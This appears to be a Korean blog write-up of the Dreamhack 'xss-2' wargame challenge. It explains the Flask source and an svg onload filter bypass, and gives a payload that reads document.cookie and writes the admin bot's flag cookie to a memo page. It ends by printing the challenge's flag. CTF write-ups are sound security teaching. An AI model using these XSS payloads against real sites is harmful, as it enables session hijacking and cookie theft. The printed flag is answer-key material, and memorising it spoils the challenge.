Web/Wargame
[Dreamhack] xss-2
와븨
2022. 9. 21. 23:03

[문제 파일]
vuln()
def vuln():
return render_template("vuln.html")
- vuln.html을 렌더링한다.
flag()
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
- GET method를 요청받았을 때, flag.html 페이지를 렌더링한다.
- POST method를 요청받았을 때, flag를 포함하고 있는 check_xss() 함수를 실행한다.
check_xss()
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
- name(=flag)과 value를 인자로 받은 쿠키를 생성하여 /vuln에 접속 요청을 보낸다.
memo()
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
- memo 파라미터에 입력한 값이 text에 저장되고, 줄바꿈을 적용하여 memo_text 변수에 저장된 후 memo.html에 출력한다.
[페이지]
vuln(xss) page


- 스크립트가 우회되어 팝업창이 뜨지 않는다.
memo

- memo 파라미터의 값을 저장한 변수인 memo_text가 출력된다.
flag


- xss 파라미터에 test 입력 후 제출 시, good이라는 팝업창이 뜬다.
[풀이]
먼저, vuln 페이지에서 script 태그를 사용하지 못하는 부분을 우회할 방법을 찾아보자.
https://m.blog.naver.com/noorol/221222225861
XSS 공격 구문 분석
▣ XSS 공격 구문 분석 XSS Filter Evasion Cheat Sheet - OWASPXSS Filter Evasion ...
blog.naver.com
위 블로그를 참고하여 알아보았다. 여기선 svg 태그를 사용해 볼 것이다.
vuln 페이지에 /vuln?param=<svg/onload="alert('1')">를 입력해주면

다음과 같이 정상적으로 팝업창이 뜨게 된다.
xss 방화벽이 우회되는 것을 봤으니 이제 svg 태그를 이용하여 플래그를 찾아보자.
memo 페이지에 flag가 포함된 쿠키 값을 출력하도록 해야 하므로,
<svg/onload="location.href='/memo?memo='+document.cookie">
flag 페이지에서 위와 같이 코드를 입력하고 제출한다.
제출한 뒤, memo 페이지로 가면

다음과 같이 플래그가 출력된다.
답 : DH{3c01577e9542ec24d68ba0ffb846508f}